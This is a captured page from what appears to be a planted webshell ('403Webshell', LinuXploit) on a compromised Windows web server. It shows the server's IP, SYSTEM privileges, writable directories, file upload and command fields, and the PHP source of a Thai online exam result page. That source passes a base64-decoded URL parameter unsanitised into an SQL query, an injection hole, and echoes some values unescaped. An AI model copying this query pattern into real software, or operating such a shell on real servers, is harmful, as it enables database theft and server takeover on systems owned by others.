403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/training/user/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/training/user/exam_result.php
<?php
include("../session.php");

if ($role != 'user') {
    header("Location: ../index.php");
    exit;
}

include("../db.php");

// ตรวจสอบว่ามีการส่ง result ที่ต้องการหรือไม่
if (!isset($_GET['result'])) {
    header("Location: dashboard.php");
    exit;
}

// ถอดรหัส result ID
$result_id = base64_decode($_GET['result']);

// ดึงข้อมูลผลการสอบ
$user_id = $_SESSION['user_id'];
$result_query = mysqli_query($conn, "SELECT er.*, s.name as subject_name, s.pass_percentage 
                                     FROM exam_results er 
                                     JOIN subjects s ON er.subject_id = s.id 
                                     WHERE er.id = $result_id AND er.user_id = $user_id");

if (!$result = mysqli_fetch_assoc($result_query)) {
    header("Location: dashboard.php");
    exit;
}
?>

<!DOCTYPE html>
<html lang="th">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ผลการสอบ - <?php echo htmlspecialchars($result['subject_name']); ?></title>
    <!-- Bootstrap 5 CSS -->
    <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
    <!-- Font Awesome Icons -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css">
    <style>
        :root {
            --primary-color: #4e73df;
            --secondary-color: #858796;
            --success-color: #1cc88a;
            --danger-color: #e74a3b;
            --warning-color: #f6c23e;
            --light-bg: #f8f9fc;
        }
        
        body {
            background-color: var(--light-bg);
            font-family: 'Prompt', sans-serif;
        }
        
        .sidebar {
            min-height: 100vh;
            background: linear-gradient(180deg, var(--primary-color) 0%, #224abe 100%);
            color: white;
        }
        
        .sidebar .nav-link {
            color: rgba(255, 255, 255, 0.8);
            padding: 1rem;
            margin-bottom: 0.5rem;
            border-radius: 0.375rem;
            transition: all 0.3s;
        }
        
        .sidebar .nav-link:hover,
        .sidebar .nav-link.active {
            color: white;
            background-color: rgba(255, 255, 255, 0.1);
        }
        
        .sidebar .nav-link i {
            margin-right: 0.75rem;
        }
        
        .topbar {
            background-color: white;
            box-shadow: 0 0.15rem 1.75rem 0 rgba(58, 59, 69, 0.15);
        }
        
        .card {
            border: none;
            border-radius: 0.5rem;
            box-shadow: 0 0.15rem 1.75rem 0 rgba(58, 59, 69, 0.1);
            margin-bottom: 1.5rem;
        }
        
        .card-header {
            background-color: #f8f9fc;
            border-bottom: 1px solid #e3e6f0;
            padding: 1rem 1.25rem;
        }
        
        .result-header {
            padding: 2rem;
            text-align: center;
            margin-bottom: 1.5rem;
            border-radius: 0.5rem;
            color: white;
        }
        
        .result-details {
            font-size: 1.1rem;
            line-height: 1.8;
        }
    </style>
    <!-- Font from Google Fonts -->
    <link href="https://fonts.googleapis.com/css2?family=Prompt:wght@300;400;500;600;700&display=swap" rel="stylesheet">
</head>
<body>
<div class="container-fluid">
    <div class="row">
        <!-- Sidebar -->
        <div class="col-lg-2 sidebar d-flex flex-column p-3">
            <h4 class="text-center my-4">
                <i class="fas fa-laptop-code me-2"></i>
                <span>ระบบข้อสอบออนไลน์</span>
            </h4>
            
            <hr class="bg-white opacity-25">
            
            <ul class="nav nav-pills flex-column mb-auto">
                <li class="nav-item">
                    <a href="dashboard.php" class="nav-link">
                        <i class="fas fa-tachometer-alt"></i>
                        ภาพรวม
                    </a>
                </li>
                <li class="nav-item">
                    <a href="#" class="nav-link active">
                        <i class="fas fa-file-alt"></i>
                        ผลการสอบ
                    </a>
                </li>
                <hr class="bg-white opacity-25">
            
                <div class="mt-auto text-center pb-3">
                    <a href="../logout.php" class="btn btn-light btn-sm">
                        <i class="fas fa-sign-out-alt me-1"></i> ออกจากระบบ
                    </a>
                </div>
            </ul>
        </div>
        
        <!-- Main Content -->
        <div class="col-lg-10 p-0">
            <!-- Topbar -->
            <nav class="navbar navbar-expand-lg topbar mb-4 px-4 py-3">
                <button class="btn btn-link d-lg-none me-2">
                    <i class="fas fa-bars"></i>
                </button>
                
                <div class="d-flex align-items-center ms-auto">
                    <div class="dropdown">
                        <a href="#" class="d-flex align-items-center link-dark text-decoration-none dropdown-toggle" id="userDropdown" data-bs-toggle="dropdown" aria-expanded="false">
                            <div>
                                <div class="fw-bold"><?php echo htmlspecialchars($u_name); ?></div>
                                <div class="small text-secondary">ผู้ใช้ทั่วไป</div>
                            </div>
                        </a>
                        <ul class="dropdown-menu dropdown-menu-end shadow">
                            <li><a class="dropdown-item" href="../logout.php"><i class="fas fa-sign-out-alt me-2"></i> ออกจากระบบ</a></li>
                        </ul>
                    </div>
                </div>
            </nav>
            
            <!-- Main Content Area -->
            <div class="container-fluid px-4">
                <div class="d-flex justify-content-between align-items-center mb-4">
                    <h3 class="mb-0">ผลการสอบวิชา: <?php echo htmlspecialchars($result['subject_name']); ?></h3>
                    <a href="dashboard.php" class="btn btn-outline-primary">
                        <i class="fas fa-arrow-left me-1"></i> กลับหน้าหลัก
                    </a>
                </div>
                
                <div class="row">
                    <div class="col-lg-8 mx-auto">
                        <div class="card">
                            <div class="result-header <?php echo $result['passed'] ? 'bg-success' : 'bg-danger'; ?>">
                                <h3>
                                    <?php if ($result['passed']): ?>
                                        <i class="fas fa-check-circle me-2"></i> สอบผ่าน
                                    <?php else: ?>
                                        <i class="fas fa-times-circle me-2"></i> สอบไม่ผ่าน
                                    <?php endif; ?>
                                </h3>
                            </div>
                            
                            <div class="card-body">
                                <div class="result-details">
                                    <p><strong>วิชา:</strong> <?php echo htmlspecialchars($result['subject_name']); ?></p>
                                    <p><strong>คะแนนที่ได้:</strong> <?php echo $result['score']; ?> คะแนน</p>
                                    <p><strong>เปอร์เซ็นต์ที่ได้:</strong> <?php echo $result['percentage']; ?>%</p>
                                    <p><strong>เกณฑ์ผ่าน:</strong> <?php echo $result['pass_percentage']; ?>%</p>
                                    <p><strong>วันที่สอบ:</strong> <?php echo date('d/m/Y H:i', strtotime($result['test_date'])); ?> น.</p>
                                </div>
                                
                                <hr>
                                
                                <div class="text-center">
                                    <a href="dashboard.php" class="btn btn-primary me-2">
                                        <i class="fas fa-home me-1"></i> กลับหน้าหลัก
                                    </a>
                                    <?php if ($result['passed']): ?>
                                        <a href="certi.php?subject=<?php echo base64_encode($result['subject_id']); ?>" class="btn btn-success" target="_blank">
                                            <i class="fas fa-award me-1"></i> ดาวน์โหลดเกียรติบัตร
                                        </a>
                                    <?php else: ?>
                                        <a href="take_exam.php?exam=<?php echo base64_encode($result['subject_id']); ?>" class="btn btn-warning">
                                            <i class="fas fa-redo me-1"></i> สอบใหม่อีกครั้ง
                                        </a>
                                    <?php endif; ?>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>

<!-- Bootstrap Bundle with Popper -->
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit